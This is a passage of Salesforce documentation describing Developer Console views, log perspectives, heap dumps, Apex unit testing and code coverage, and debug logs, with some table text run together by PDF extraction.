1. Views 2. Workspace You can open the following views in the Developer Console workspace: System Log view on page 2124 Heap Dump Inspector View on page 2132 Source Code View on page 2133 Schema Quick on page 2136 Query Data Grid View on page 2116 Test Run View on page 2118 , or buttons. This is especially useful when

You can collapse the top, bottom, and many sub-panels using the , , working with the information-rich System Log and Source Code views.

When collapsed, you can click a panel to temporarily reveal and use it. When your cursor moves out of the panel, it collapses automatically.

Navigating through Views


To move left and right through views in a workspace, click the views tab or use these shortcuts: LeftCTRL+Page Up RightCTRL+Page Down

Navigating through View History


To move backward and forward through your view history, click the buttons. You can also use these shortcuts:

2123

Develop

Working with Views in the Developer Console

BackwardCTRL+, ForwardCTRL+. moves through your previously viewed tabs in the order that you viewed them. When you click the button becomes active. button,

Clicking the

Creating and Deleting Workspaces in the Developer Console


You can create a workspace for each group of views that you use together. Then, while youre working in the Developer Console, switch between workspaces to keep your work organized. For example, the Apex Workbook creates and edits the classes KitchenUtility, Fridge, and Toaster. While working on the Apex Workbook, you can create a workspace called Apex Workbook Source for these classes. You can then create a workspace called Apex Workbook Test for the debug logs. Switch between the workspaces as you code and test. To create a workspace: 1. Click Workspace:Name, then select Workspace Manager. 2. Click New and enter a name for the workspace. 3. Open the logs, source code, heap dumps or object views that you want grouped together in the workspace. When you switch to a different workspace or close the Developer Console, the Developer Console saves the state of the tabs (and the panels within the tabs) in the current workspace. To delete a workspace: 1. Click Workspace:Name, then select Workspace Manager. 2. Select a workspace and click Delete. To rename a workspace: 1. Click Workspace:Name, then select Rename Current Workspace. 2. Enter a new name and click OK. Note: Rename Current Workspace overwrites a workspace with a new name; it isnt a Save As command.

See Also:
Developer Console User Interface Overview Developer Console Tools Examples of Using the Developer Console

System Log View


System Log view is a context-sensitive execution viewer that shows the source of an operation, what triggered that operation, and what occurred afterward. You can use this view to inspect debug logs that include database events, Apex processing, workflow, and validation logic.

2124

Develop

Working with Views in the Developer Console

The System Log view contains these sections: 1. 2. 3. 4. 5. 6. 7. 8. 9. Stack Back trace Execution log Execution log filter controls Source window Variables Executed Units tab Limits tab Timeline tab

Many sections of the System Log view refresh automatically and display related information when you click on an item. For example, if you click a folder labeled handleProductPriceChange in the stack section, these sections are updated to display information about that trigger: Back trace Execution log Source window

Similarly, if you click a line in the execution log, the stack, back trace, and source are all updated. Clicking items in the Executed Units tab also updates the execution log, stack, back trace, and source sections. Stack and Back Trace The stack section displays two tree structures of the debug log: the execution tree and the performance tree. The stack trees display information top downfrom initiating calls to the next level down, and so on. Use the stack trees to see the hierarchy of items as they are called in the process. For example, if a class calls a second class, the second class displays as a child node of the first class. The execution tree displays each operation. The performance tree aggregates operations to give you a better look at the performance of an operation as a whole. For example, if a for loop calls System.debug() 10 times, you see the duration of each call in the execution tree:

2125

Develop

Working with Views in the Developer Console

In the performance tree, the calls are aggregated so you see the total duration of every call to debug from hello:

This example calls debug only from the hello method. If there are calls to debug from other locations, they are aggregated in those nodes. Calls from all locations are aggregated in the executed unit. The back trace (the panel below the stack) contains a bottom up view of the currently-selected item in the debug log, starting with the lowest level call, followed by the operation that triggered that call, and so on. Each item in the stack and in the back trace has this information: Column Scope Unit Duration Heap Description Delimited region within the process, such as workflow, a class, or DML. Name of the item (region). Amount of time (in milliseconds) the item took to run. Amount of heap (in bytes) the item used.

Execution Log The execution log contains the debug log for the process. The debug log contains every action that occurred in the process, such as method calls, workflow rules, and DML operations. Hover over long lines in the section to display a popup of the entire line.

2126

Develop

Working with Views in the Developer Console

Use the execution log to retrace the steps through a process. You can step through lines on your own. You can also use one of the following to filter the debug log to lines of specific interest: 1. This FrameDisplays only this region of the process. For example, if you click CODE_UNIT_STARTED and This Frame, the execution log displays only the items in the process that occur between CODE_UNIT_STARTED and its associated CODE_UNIT_ENDED. This displays only the items that are associated with that level. For example, if you have a trigger that calls a class, only the trigger operations are displayed in the execution log. 2. ExecutableDisplays only the executable items in the debug log. This hides the cumulative limits information, such as the number of SOQL queries made, the number of DML rows, and so on. Tip: View the execution log with Executable checked. Only deselect it when you are working on optimizing your process and need the limits information. 3. FilterDisplays items that match what you enter in the Filter field. For example, if you type DML, all the lines in the execution log with the string DML in either the event or details are displayed. The filter is case-sensitive. You can also click Download to download a copy of the debug log as a text file. The default name for the file is apex.log. The execution log panel contains this information: Column Timestamp Event Details Description System time when the process began. This is shown in the local user's time. The format is: HH:MM:SS:MSS. Debug event. Additional details pertaining to the event, such as line number and parameters.

Source The source panel contains the executed source code or the metadata definitions of entities used during the process. What's displayed in the source section depends on what's selected elsewhere in the System Log view. The source section also lists how many times a line of code was executed. Enter a line number in the entry box at the bottom of the source panel and click Jump to go to a specific line of code.

2127

Develop

Working with Views in the Developer Console

When viewing executed source code, click Open to open it in a new Source Code tab. Note: If validation rules or workflow is executed during the process, the metadata representation of it displays in the source panel. You cant open a metadata representation from the Developer Console. See ValidationRule and Workflow in the Force.com Metadata API Developers Guide. Variables Use the variables section to discover when a variable is assigned a value and what that value is. Click on a Variable event to populate the section. Note: The Apex Code log level must be set to Finest for variable assignments to be logged.

Another way to view the contents of variables is to use the Heap Dump Inspector, which allows you to see more details about entities held in memory at a point of execution. Executed Units, Limits and Timeline The Executed Units, Limits, and Timeline tabs appear in the Execution Overview panel at the bottom of the Developer Console when you are looking at a System Log view. The Execution Overview panel can be collapsed using the the top right of the panel. button in

Use the Executed Units tab to examine which items in the process used the most system resources. Use the Limits tab to compare the resources used by the process to overall system limits. The limits are listed by name and amount. Use the Timeline tab to see a visual representation of the time each process took. Use this to identify and isolate the parts of your request that take the longest. To filter out the information displayed on the Executed Limits tab by the type of item, click the button for that type. For example, to no longer view methods in the section, click Methods. Click the button a second time to display methods again. Right-click any column header to sort the information in the column. You can also select which columns you want displayed in the Executed Units tab. The Executed Units tab contains this information: Column What Description Type of process item. Types include: Method Queries Workflow Callouts DML Validations Triggers Pages Name of the process item. Total duration for the item. Average duration for the item. Minimum amount of time for the item.

Name Sum Avg Min

2128

Develop

Working with Views in the Developer Console

Column Max Cnt Heap Query Type

Description Maximum amount of time for the item. Number of times the item was called during the process. Amount of space the item took on the heap. Type of query. Possible values are: SOQL SOSL Total number of records changed for that item. Average number of records changed for that item. Maximum number of records changed for that item. Minimum number of records changed for that item.

Sum rows Avg rows Max rows Min rows

On the Limits tab, select the unit of time used to display the process. The default is Minutes. The Limits tab contains this information: Column Limit Used so far Request total Total available Description Name of the limit. The amount of the limit used by this process at this point of execution. The amount of this limit used by the request at completion. The total amount for the limit.

The Timeline tab contains this information: Column Category Mills % Description The type of process. Milliseconds of time taken by that process. The percent this process took of the entire request.

Important: If you dont see scroll bars in the System Log panels on a Mac, open System Preferences > General and set Show scroll bars to Always.

See Also:
Working with Perspectives in a System Log View Searching a Debug Log What is a Debug Log? Working with Views in the Developer Console

2129

Develop

Working with Views in the Developer Console

Working with Perspectives in a System Log View


A perspective is a layout of panels in a System Log view in the Developer Console. Create perspectives for tasks you perform in a System Log view. Creating Perspectives in a System Log View on page 2130 Modifying Perspectives in a System Log View on page 2130 Deleting a Perspective in a System Log View on page 2131 Setting the Default Perspective in a System Log View on page 2131 Switching Perspectives in a System Log View on page 2131

See Also:
System Log View Creating Perspectives in a System Log View A perspective is a layout of panels in a System Log view in the Developer Console. The default perspective is All, which displays every panel. Most tasks you perform in a System Log view dont require you to use every panel. When you perform a task in a System Log view, use a perspective that makes completing the task fast and easy. Every developer has a different style, but the following is a list of perspectives you could create to perform common tasks: Log OnlyContains the Execution Log panel. An all-purpose perspective for viewing log execution. PerformanceContains the Stack Tree panel and the Execution Overview panel. Use this perspective to test performance. LimitsContains the Execution Overview panel. Use this perspective to check governor limits. Tip: If you create a perspective that includes the Execution Log, you may want to include the Source panel. Use the Source panel to navigate from System Log view back to Source Code view to edit or view your code. 1. In the Developer Console, click the Logs Tab and double-click a debug log to open it in a System Log view. 2. Click Perspective: Perspective Name > View Panels and select the panels you want to include in the perspective. If you modify a perspective, an * is appended to the perspective name. When you save the perspective, the * is removed. 3. To create a new perspective, click Save Perspective As and enter a name for the perspective.

See Also:
Working with Perspectives in a System Log View Modifying Perspectives in a System Log View A perspective is a layout of panels in a System Log view in the Developer Console. The default layout includes all panels. To create layouts that let you work quickly and easily, modify existing perspectives to include only the panels you need. 1. In the Developer Console, click the Logs Tab and double-click a debug log to open it in a System Log view. 2. Click Perspective: Perspective Name > View Panels and select the panels you want to include in the perspective.

2130

Develop

Working with Views in the Developer Console

If you modify a perspective, an * is appended to the perspective name. When you save the perspective, the * is removed. 3. Click Save Perspective. You can also click in the System Log view and press CTRL+S (Windows) or Command+S (Mac OS).

Deleting a Perspective in a System Log View A perspective is a layout of panels in a System Log view in the Developer Console. You can delete perspectives you no longer need. 1. In the Developer Console, click the Logs Tab and double-click a debug log to open it in a System Log view. 2. Click Perspective: Perspective Name > Perspective Manager. 3. Select a perspective to delete and click Delete.

See Also:
System Log View Switching Perspectives in a System Log View A perspective is a layout of panels in a System Log view in the Developer Console. You can switch perspectives to best suit the task at hand. 1. In the Developer Console, click the Logs Tab and double-click a debug log to open it in a System Log view. 2. Click Perspective: Perspective Name > Perspective Manager. 3. Select a perspective name and click Open, or double-click the perspective.

See Also:
Working with Perspectives in a System Log View Setting the Default Perspective in a System Log View A perspective is a layout of panels in a System Log view in the Developer Console. When you open a log, it opens in the default perspective. Set your most commonly used perspective as the default. 1. In the Developer Console, click the Logs Tab and double-click a debug log to open it in a System Log view. 2. Click Perspective: Perspective Name > Perspective Manager. 3. Select a perspective name and click Set Default.

See Also:
Working with Perspectives in a System Log View

2131

Develop

Working with Views in the Developer Console

Heap Dump Inspector View


The Heap Dump Inspector view lets you browse snapshots of the state of objects in memory at the time of the capture, including references between objects. It also lets you view variables in more detail than offered in the System Log view, including individual items in collections. Use the Heap Dump Inspector to investigate what objects are in memory at a specific point of execution and why, that is, what other objects hold references to them. To capture new heap dumps, set capture markers in your code. See Enabling Heap Dump Captures in Apex Code. Open existing heap dumps from the Heap Dumps tab. The Heap Dump Inspector lets you view a heap dump two different ways, in the Heap tab and the Symbols tab. The Heap Tab The Heap tab displays all objects in memory at the time of the heap dump capture. Items are listed and grouped by data type.

The Types column is a flat list of the classes of all instantiated objects in memory at the time of capture, with a count of how many are instantiated, and the amount of memory consumed in bytes. Click an item to see a list of those objects in the Instances column, with their address in the heap and memory consumed. Click an instance to view the variables currently set in that object in the State column. The References tab provides two lists to display relationships between symbols held in memory. Use the Inbound References list to locate the symbols which can hold references to objects of a particular type. Use the Referencing Instances list to find specific instances holding references to a symbol. Double click to find that instance elsewhere in the heap. The Search tab lets you find symbols in the heap by value or address. Search matches partial symbol values, but addresses must be exact. To quickly search for a value, click the search icon ( ) that appears to the right of it when you hover over it in the State panel. The Symbols Tab The Symbols tab displays a tree view of all symbols in memory at the time of the heap dump capture. Use it to quickly review the state of the system at the specific line of code (and iteration) where the heap dump was captured.

2132

Develop

Working with Views in the Developer Console

Important: If you dont see scroll bars in the Heap Dump panels on a Mac, open System Preferences > General and set Show scroll bars to Always.

See Also:
Heap Dumps Tab Working with Views in the Developer Console

Source Code View


Source Code view is an Apex and Visualforce editor in the Developer Console. Syntax highlighting in Source Code view colors comments, numbers, strings, reserved keywords, primitive data types, variable declarations, and references.

2133

Develop

Working with Views in the Developer Console

Navigating to Method and Variable Declarations You can navigate directly to a method or variable declaration, rather than having to scroll or search to find it. 1. Mouse over a method or variable name. If the method or variable name is underlined, you can navigate to its declaration. 2. Click in an underlined method or variable name. 3. Press CTRL+ALT+N or click Go To to move the cursor to the declaration. If the declaration is in another file, the file opens in a new tab. Using Auto-Complete in Visualforce Pages Visualforce page and component source views have full syntax highlighting and support for auto-complete suggestions. Auto-complete works similarly to auto-complete in the Visualforce development mode footer: as you type a Visualforce component tag, a list of suggested completions appear.

2134

Develop

Working with Views in the Developer Console

Keep typing to filter the suggestions, press ENTER to select the top completion, or use the arrow keys or mouse to select a different completion. Auto-complete supports both Visualforce tags and tag attributes. Enabling Heap Dump Captures in Apex Code To set a marker for a new heap dump capture point, click in the margin to the left of the line numbers. You can have five markers at a time. By default the heap dump is captured immediately before the first time the line of code is executed. You can change the iteration for the capture in the Heap Dump Locations list. Only one heap dump will be captured for a specific line of code, no matter how many times its executed during a request. Important: To generate a heap dump, set the Apex Log Level to finer or finest. See Setting Logging Levels on page 2110. You can set heap dump capture markers in Apex classes and triggers. You cant set capture markers in Visualforce markup. Note: If you set a capture marker in a method with the @future annotation, to capture that heap dump during a request you need to keep the Developer Console open until the @future method completes asynchronously. This is because heap capture markers are reset when you close the Developer Console. Validating Changes in Source Code Changes you make in a Source Code view are validated in the background. While you are editing code an error indicator displays on lines causing errors, and the Problems panel shows the details of compilation errors. To collapse the Problems panel, use the button in the corner of the panel. When validating your source views, all modified sources are validated together instead of individually. Changes that may be inconsistent with code on the server, but are consistent when taken togethersuch as adding a method in one file, and a call to that method in another, and other common development taskswill not be reported as errors. Saving Changes When you make changes in source code view, the name of the tab has a * to indicate unsaved changes. Click Save in the corner of a source view to save changes. To save a collection of changes with dependencies, click Save All to save changes in all open tabs. All modified views are saved together in one request. When you save modified source views, theyre validated against all saved sources. If source files have related changes, its impossible to save the files individually. You cant save if you have compilation errors. Review the Problems panel, correct any errors, and click Save again. Note: Apex classes and triggers are saved with the latest API version.

Staying in Sync with Code in the Cloud The Developer Console will notice if a source view has been changed by another user since you opened it. If you havent made any changes to it, the source view will be updated automatically. If youve made modifications, youll see an alert that lets you know another user has made changes, with the option to update the source view to the latest version.

2135

Develop

Examples of Using the Developer Console

Warning: When you update to the latest version your changes will be overwritten. Copy your version out of the source view to preserve it. You cant save a modified source view if it has also been modified on the server. Instead, update to the latest version and integrate your modifications into the new version.

See Also:
Repository Tab Apex Code Overview Apex Class Security Overview Visualforce Overview Visualforce Page Security Overview Working with Views in the Developer Console

Schema Quick View


The Schema Quick gives you a read-only reference for the fields of a standard or custom object, and their data types.

Note: You can't modify custom objects in the Developer Console. To create, edit, or delete custom objects, click Your Name > Setup > Create > Objects to work with your custom objects.

See Also:
Repository Tab Working with Views in the Developer Console

Examples of Using the Developer Console


Here are some of the ways you can use the Developer Console to diagnose and solve problems. Tracing the Path of Execution

2136

Develop

Examples of Using the Developer Console

Viewing System.Debug Statements Updating Source Code Tracking DML in a Request Evaluating the Performance of a Visualforce Page Viewing a Complex Process

Tracing the Path of Execution Scenario: Youve opened a debug log in a System Log view. What are some of the ways to step through the information? 1. In the execution log, click Executable. This filters out all non-executable steps, including cumulative limits information.

2. Click the Executed Units tab to view the aggregate values of different types of operations in the request. For example, you can view the number of DML operations or the different methods by the type of method. 3. Click the Limits tab to view the governor limits used by this operation. Viewing System.Debug Statements Scenario: Youve added a number of System.Debug statements to your code to track a request's progress. How do you find them using the System Log view? 1. Click Filter in the execution log panel. 2. Enter debug in the entry box. Only the lines containing the word debug in your request display. Updating Source Code Scenario: After you run your request, you notice an Apex code error in the debug log. What's the easiest way to edit your Apex code? 1. From the Source panel, select the line of code. 2. Click Open. The Apex editor opens the source code for that class or trigger in a new Source Code tab.

2137

Develop

Examples of Using the Developer Console

Tracking DML in a Request Scenario: Suppose your request contains many DML statements in different locations. How can you tell how many times DML is executed in a request? Here are two techniques for drilling into a debug log to examine the actual DML executed during the course of a request: 1. In the execution log, click Filter, then type DML. All items in the request that contain DML anywhere in either the event or details display.

2. In the Executed Units tab, disable all other types of execution, except for DML. The buttons are togglesclick once to filter that type of operation out of the list. Click again to disable the filter. To view only the DML, click Methods, Queries, Workflow, Callouts, Validations, Triggers and Pages. The details of the DML operation show the kind of object that was affected, and the specific operation performedinsert, update, and so on. You can also view the number of times a DML statement was executed, the number of rows, and so on. If you click a DML request item in the Executed Units tab, the execution log section filters out all other parts of the request, and displays only that DML statement.

You can also use these procedures for looking up and filtering queries. Evaluating the Performance of a Visualforce Page Scenario: You have a Visualforce page and an Apex controller that executes SOQL queries. How do you analyze the performance of your page and find out which code unit took the most time? How do you determine how many queries are performed in the request? How do you verify how close you are getting to governor limits? 1. Look for the name of the Visualforce page in the stack trace. The top level has the format /apex/pagename. The first node under that shows the actual execution of the page. Open that node to see when the controller was initialized. 2. Continue to open nodes to explore the calling of methods and how long each method took. When you click an item in the stack trace, the execution log displays that portion of the debug log, the source window refreshes to display the appropriate source code, and the variables inspector shows the variables that are in context.

2138

Develop

Examples of Using the Developer Console

3. Click Executed Units to view statistics of your code that include execution time in milliseconds and heap size in bytes. The Cnt column shows the number of times a certain code unit has been executed. If a code unit was executed more than once, the sum, average, maximum, and minimum run times are updated. Similarly, if a query is executed more than once, the rows columns are updated to summarize the aggregate numbers of returned rows. You can filter out code units by clicking the buttons on the bottom that correspond to the code units you want to omit from the view. Tracking DML in a Request explains how to do this.

4. Click Limits to verify the applicable limits, and how close your request is to each applicable limit. The Total Available column shows the governor limits allowed for your organization per type of operation. The Request Total column shows the total number of requests performed. The Used so far column shows the number of requests consumed at the point of execution you selected in the stack trace or execution log.

2139

Develop

Examples of Using the Developer Console

5. Click Timeline to see a visual display of the executed code units broken up by the type of code unit, in addition to the total and percentage of execution time for each type of code unit. The timeline lets you quickly find out which parts of the request took the longest. Select a time interval at the bottom of the summary section to increase or decrease the period displayed in the timeline.

In this example, database requests took the most time (56.95%). They are followed by the Visualforce page. The least amount of time was spent on Apex code. Also, Visualforce pages and Apex code were executed first and last, while database operations were carried out between them. Viewing a Complex Process Scenario: Your process is complex, and includes several Apex classes and triggers, workflow, and validation rules. What are some of the best ways to step through or filter the resulting debug log? 1. The stack section contains a tree structure illustrating the execution path of all the top level items in the request. Use this to see the hierarchy of items as they execute. 2. Use the Filter entry box in the execution log. For example, if youre interested in trigger-specific events, click Filter and enter trigger.

Only the lines in the debug log that contain the word trigger display in the execution log section. 3. Limit the scope of the execution log to a specific selected unit of execution by selecting This Frame. For example, if you select a line that contains CODE_UNIT_STARTED in the execution log, and then click This Frame, the execution log displays only the items in the request that occur between CODE_UNIT_STARTED and its associated CODE_UNIT_ENDED.

2140

Develop

Developer Console Command Line Reference

Note: When This Frame is selected the execution log only displays the items that are contained in that frame, not any lower level operations. For example, if a trigger calls a class, only the trigger operations display in the execution log, not the class operations.

See Also:
Logs Tab Heap Dumps Tab System Log View Heap Dump Inspector View Source Code View Setting Debug Log Filters

Developer Console Command Line Reference


To open the Developer Console Command Line Window, choose Your Name > Developer Console and press CTRL+L. To close the Developer Console Command Line Window, press CTRL+L. Command
commands exec <Apex statements>

Parameters None.
<Apex statements>One or more

Description A list of all commands. Executes the <Apex statements> and generates a log.
-o: Opens the Execute Anonymous

Apex statements.
exec [-o | -r]

window.
-r: Executes the code in the Execute

Anonymous window and generates a log.


find <string> help <string>A string of characters.

Searches the log for a string. Explains how to get information about commands. Displays the description of the command.

None.
<command>A Command Line

man <command>

Window command.

See Also:
Searching a Debug Log Examples of Using the Developer Console

2141

Develop

About Apex Unit Tests

About Apex Unit Tests


Available in: Unlimited, Developer, Enterprise, and Database.com Editions Managed Packages are not available in Database.com.

User Permissions Needed To define, edit, delete, set security, set version settings, show dependencies, and run tests for Apex classes: Author Apex

Testing is key to the success of your application, particularly if your application is to be deployed to customers. If you validate that your application works as expected and that there are no unexpected behaviors, your customers are going to trust you more. To facilitate the development of robust, error-free code, Apex supports the creation and execution of unit tests. Unit tests are class methods that verify whether a particular piece of code is working properly. Unit test methods take no arguments, commit no data to the database, send no emails, and are flagged with the testMethod keyword in the method definition. You can run unit tests for: A specific class A subset of classes All unit tests in your organization

Code Coverage by Unit Tests


Before you can deploy your code or package it for the Force.com AppExchange, the following must be true: 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully. Note the following: When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage. Test methods and test classes are not counted as part of Apex code coverage. While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single record. This should lead to 75% or more of your code being covered by unit tests.

Every trigger has some test coverage. All classes and triggers compile successfully.

If your test calls another class or causes a trigger to execute, that Apex is included in the total amount used for calculating the percentage of code covered. After tests are executed, the code coverage percentage displays for classes and triggers on the Apex Classes and Apex Triggers pages respectively. To generate code coverage results, run your tests first. The following are different ways to run tests and generate code coverage results.

2142

Develop

About Apex Unit Tests

To run all tests from the Apex Classes page, click Your Name > Setup > Develop > Apex Classes > Run All Tests. This step updates the code coverage results in the class list on the Apex Classes page. To run tests for an individual class: 1. Click Your Name > Setup > Develop > Apex Classes > Your Class > Run Test. 2. Click Apex Classes, then Calculate your organizations code coverage.

To run tests asynchronously from the Apex Test Execution page: 1. 2. 3. 4. Click Your Name > Setup > Develop > Apex Test Execution. Click Select Tests... and select the classes containing the tests you want to run. Click Run. Click Apex Classes, then Calculate your organizations code coverage.

To run tests from the Developer Console, see Creating and Running Test Runs.

After generating code coverage results, you can view the lines of code that are covered by tests for an individual class or trigger. Follow these steps to view code coverage for a class: 1. Click Your Name > Setup > Develop > Apex Classes. 2. Click the percentage number in the Code Coverage column for the class youre interested in. The blue lines represent the code statements that have been covered by a test. The red lines represent the code statements with no test coverage. Alternatively, you can check code coverage from the Developer Console. See Checking Code Coverage. The code coverage percentage for a class or trigger displayed on the Apex Classes or the Apex Triggers page includes a fraction between parentheses with the numbers used to compute this percentage, for example, 90% (72/80). The code coverage percentage is calculated by dividing the number of lines covered by tests by the total number of lines that are part of the coverage calculation. Some lines of code are excluded from code coverage calculation, such as: Comments
System.debug statements

Test methods A code statement that is broken up into multiple linesonly the first line is counted

See Also:
Apex Code Overview Working with Apex Test Execution Viewing Test Results Apex Test Results What is a Debug Log? Working with the Developer Console Developer's Guide: Force.com Apex Code Developer's Guide

2143

Develop

About Apex Unit Tests

Working with Apex Test Execution


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show dependencies, and run tests for Apex classes: Author Apex

To use the Apex Test Execution page: 1. Click Your Name > Setup > Develop > Apex Test Execution. 2. Click Select Tests.... Note: If you have Apex classes that are installed from a managed package, you must compile these classes first by clicking Compile all classes on the Apex Classes page so that they appear in the list. See Managing Apex Classes on page 2090. 3. Select the tests to run. The list of tests contains classes that contain test methods. To select tests from an installed managed package, select its corresponding namespace from the drop-down list. Only the classes of the managed package with the selected namespace appear in the list. To select tests that exist locally in your organization, select [My Namespace] from the drop-down list. Only local classes that aren't from managed packages appear in the list. To select any test, select [All Namespaces] from the drop-down list. All the classes in the organization appear, whether or not they are from a managed package. Note: Classes whose tests are still running don't appear in the list.

4. Click Run. After selecting test classes to run, the selected classes are placed in the Apex job queue for execution. The maximum number of test classes you can select for execution is the greater of 500 or 10 multiplied by the number of test classes in the organization. To disable parallel execution of tests in order to run your tests one at a time, click Options..., select Disable Parallel Apex Testing, and then click OK. Running tests one at a time helps prevent test interference on shared data when tests run at the same time and access the same data. This only occurs when tests dont create their own data and turn off data isolation to access the organizations data. For more information about test data, see Isolation of Test Data from Organization Data in Unit Tests in the Force.com Apex Code Developers Guide. This option doesnt affect the asynchronous execution of tests, which continue to run asynchronously from the Apex Test Execution page. While tests are running, you can select one or more tests and click Abort to cancel. After a test finishes running, you can: Click the test to see result details; if a test fails, the first error message and the stack trace display. Click View to see the source Apex code.

2144

Develop

About Apex Unit Tests

Note: Test results display for 60 minutes after they finish running.

Use the Apex Test Results page to see all test results for your organization. Click Your Name > Setup > Develop > Apex Test Execution > View Test History. Use the Developer Console to see additional information about your test execution: 1. Click Your Name > Developer Console. 2. Run your tests using the Apex Test Execution page. 3. Check the Developer Console to step through the request. Inspecting Code Coverage Results After you run tests using the Apex Test Execution page, you can display the percentage of code covered by those tests on the list of Apex classes. Click Your Name > Setup > Develop > Apex Classes, then click Calculate your organization's code coverage. Note: The code coverage value computed by Calculate your organization's code coverage might differ from the code coverage value computed after running all unit tests using Run All Tests. This is because Calculate your organization's code coverage excludes classes that are part of installed managed packages while Run All Tests doesn't. You can also verify which lines of code are covered by tests for an individual class. Click Your Name > Setup > Develop > Apex Classes, then click the percentage number in the Code Coverage column for a class. To reduce calculation time of overall code coverage results obtained through Calculate your organization's code coverage, click Options..., select Store Only Aggregated Code Coverage, and then click OK . Use this option only when you have many tests and large volumes of Apex code, that is, when the number of Apex test methods multiplied by the number of all classes and triggers is in the range of hundreds of thousands. This option causes code coverage results to be stored in aggregate form for all test methods. As a result, you cant view code coverage results for an individual test method. Also, if you modify test methods that are defined in a test class (a class annotated with @isTest), youll have to clear code coverage results by clicking Clear Code Coverage on the Apex Classes page. This is because the existing code coverage results of classes and triggers that these test methods cover arent automatically cleared when using this option and modifying the tests. This option applies to test methods regardless of how theyre executedsynchronously or asynchronously. For more information on running tests, see Running Unit Test Methods in the Force.com Apex Code Developers Guide.

See Also:
Apex Code Overview About Apex Unit Tests Apex Test Results Viewing Test Results Developer's Guide: Force.com Apex Code Developer's Guide

2145

Develop

About Apex Unit Tests

Viewing Test Results


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show dependencies, and run tests for Apex classes: Author Apex

To use the Apex Classes page to generate test results, click Your Name > Setup > Develop > Apex Classes, then either click Run All Tests or click the name of a specific class that contains tests and click Run Test. After you use the Apex Classes page to generate test results, the test result page contains the following sections. Each section can be expanded or collapsed. A summary section that details the number of tests run, the number of failures, the percentage of Apex code that is covered by unit tests, the total execution time in milliseconds, and a link to a downloadable debug log file. The debug log is automatically set to specific log levels and categories, which can't be changed. Category Database Apex Code Apex Profiling Workflow Validation Level INFO FINE FINE FINEST INFO

Important: Before you can deploy Apex or package it for the Force.com AppExchange, the following must be true: 75% of your Apex code must be covered by unit tests, and all of those tests must complete successfully. Note the following: When deploying to a production organization, every unit test in your organization namespace is executed. Calls to System.debug are not counted as part of Apex code coverage. Test methods and test classes are not counted as part of Apex code coverage. While only 75% of your Apex code must be covered by tests, your focus shouldn't be on the percentage of code that is covered. Instead, you should make sure that every use case of your application is covered, including positive and negative cases, as well as bulk and single record. This should lead to 75% or more of your code being covered by unit tests.

Every trigger has some test coverage. All classes and triggers compile successfully.

2146

Develop

About Apex Unit Tests

Test successes, if any. Test failures, if any. A code coverage section. This section lists all the classes and triggers in your organization, and the percentage of lines of code in each class and trigger that are covered by tests. If you click the coverage percent number, a page displays, highlighting all the lines of code for that class or trigger that are covered by tests in blue, as well as highlighting all the lines of code that are not covered by tests in red. It also lists how many times a particular line in the class or trigger was executed by the test

Test coverage warnings, if any.

You can also view test results by clicking Your Name > Setup > Develop > Apex Test Execution > View Test History. This page displays all test results for your organization in the default view for 30 days unless cleared, not just tests that you have run. To view test results of tests that are executed using the Apex Test Execution page, see Working with Apex Test Execution on page 2144.

See Also:
Apex Code Overview About Apex Unit Tests Working with Apex Test Execution Managing Apex Classes Developer's Guide: Force.com Apex Code Developer's Guide

Apex Test Results


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show dependencies, and run tests for Apex classes: Author Apex

Click Your Name > Setup > Develop > Apex Test Execution > View Test History to view all test results for your organization, not just tests that you have run. Test results are retained for 30 days after they finish running, unless cleared. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.

2147

Develop

About Apex Unit Tests

Click View to view more details about a specific test run.

See Also:
Apex Code Overview Working with Apex Test Execution Apex Test Results Details Developer's Guide: Force.com Apex Code Developer's Guide

Apex Test Results Details


Available in: Unlimited, Developer, Enterprise, and Database.com Editions

User Permissions Needed To define, edit, delete, set security, set version settings, show dependencies, and run tests for Apex classes: Author Apex

To view all test results for your organization in the default view for 30 days unless cleared, not just tests that you have run, click Your Name > Setup > Develop > Apex Test Execution > View Test History. Click View to view more details about a specific test run.

See Also:
Apex Code Overview Apex Test Results Developer's Guide: Force.com Apex Code Developer's Guide

2148

Develop

What is a Debug Log?

What is a Debug Log?


Available in: Unlimited, Developer, Enterprise, and Database.com Editions The Salesforce user interface, Email Services, and Approvals are not available in Database.com.

User Permissions Needed To use the Developer Console: To use the execute anonymous text entry box: To save changes to Apex classes and triggers: To save changes to Visualforce pages and components: View All Data Author Apex Author Apex Customize Application

A debug log records database operations, system processes, and errors that occur when executing a transaction or while running unit tests. The system generates a debug log for a user every time that user executes a transaction that is included in the filter criteria. Transactions can be generated from the following: Salesforce user interface API executeanonymous calls Web services Email services

The filter criteria set for the user, the Developer Console or the API header determines what is included in the debug log. Debug logs can contain information about: Database changes HTTP callouts Apex errors Resources used by Apex Automated workflow processes, such as: Workflow rules Assignment rules Approval processes Validation rules

The following are examples of when you use a debug log: You're a developer creating a custom application and use the debug log to validate some of the application's behavior, such as if the application made callouts to an external system. You could set the debug log filter to check for callouts, then in the debug log, view information about the success and duration of those callouts.

2149

Develop

What is a Debug Log?

You're an administrator for an organization, and a user reports having difficulties. You could start to monitor the debug logs for that user, have them step through the transaction, and then use the debug log to view the system details of the transaction.

Debug Log Limits


The following are the limits for debug logs: Once a user is added, that user can record up to 20 debug logs. After a user reaches this limit, debug logs stop being recorded for that user. Click Reset on the Monitoring Debug logs page to reset the number of logs for that user back to 20. Any existing logs are not overwritten. Each debug log can only be 2 MB. Debug logs that are larger than 2 MB in size are truncated. Each organization can retain up to 50 MB of debug logs. Once your organization has reached 50 MB of debug logs, the oldest debug logs start being overwritten.

Debug Log Truncation


